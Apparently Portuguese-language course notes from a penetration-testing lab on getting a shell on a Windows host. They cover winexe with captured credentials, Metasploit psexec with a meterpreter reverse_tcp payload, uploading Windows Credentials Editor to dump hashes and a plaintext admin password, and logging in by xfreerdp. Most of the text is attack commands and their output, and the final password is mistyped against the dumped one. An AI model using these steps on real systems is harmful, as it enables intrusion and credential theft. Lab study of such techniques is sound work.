

# Obtendo Shell no Host

+ Na aula passada obtivemos acesso pelo TS: Terminal Service. Mas e se ele estivesse desabilitado?

+ Usaremos um utilitário do kali que é o winexe, que dadas as credencias que conseguimos nos dará acesso à shell do host que estamos atacando

+ modo de uso:

```
winexe -U rogerio%Roger@10 //172.16.1.60 cmd.exe
```

+ Outra forma de conseguir acesso à shell é pelo metasploit usando o seguinte exploit

```
exploit/windows/smb/psexec
```

→ O payload setado foi o windows/x64/meterpreter/reverse\_tcp

+ Uma vez que o exploit tenha funcionado, faremos o upload do seguinte arquivo por meio do meterpreter para a raiz do host

```
upload /usr/share/windows-resources/wce/wce64.exe c:
```

+ Depois disso daremos um comando **shell** e iremos até a raiz do host

+ Lá poderemos executar o

```
wce64.exe -w
```

→ para mostrar credenciais em texto

```

C:\Windows\system32>cd \
cd \
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3CA2-84AE

Directory of C:\

08/05/2015  13:35    <DIR>          DADOS
07/02/2015  16:47    <DIR>          inetpub
14/07/2009  00:20    <DIR>          PerfLogs
27/06/2016  22:01    <DIR>          Program Fi
27/06/2016  22:01    <DIR>          Program Fi
20/03/2015  20:40    <DIR>          Users
27/03/2020  01:46                217.088 wce64.exe
17/08/2015  17:24    <DIR>          Windows
               1 File(s)                217.088 bytes
               7 Dir(s)  29.671.661.568 bytes

C:\>wce64.exe
wce64.exe
WCE v1.42beta (X64) (Windows Credentials Editor)
Use -h for help.

Administrator:GBUSINESS:FF718051F7C35870F38422
SRVINT$:GBUSINESS:00000000000000000000000000000000
rogerio:GBUSINESS:6EEE32CB16EB0A0E25AD3B83FA66

C:\>wce64.exe -w
wce64.exe -w
WCE v1.42beta (X64) (Windows Credentials Editor)
Use -h for help.

Administrator\GBUSINESS:GBs3rv3r2K08

```

+ Por fim, usaremos o xfreerdp para entrar no windows com as credenciais de acesso do admin obtidas:

```
xfreerdp /u:Administrator /p:GBs3rw[v3r2K08 /v:172.16.1.60
```

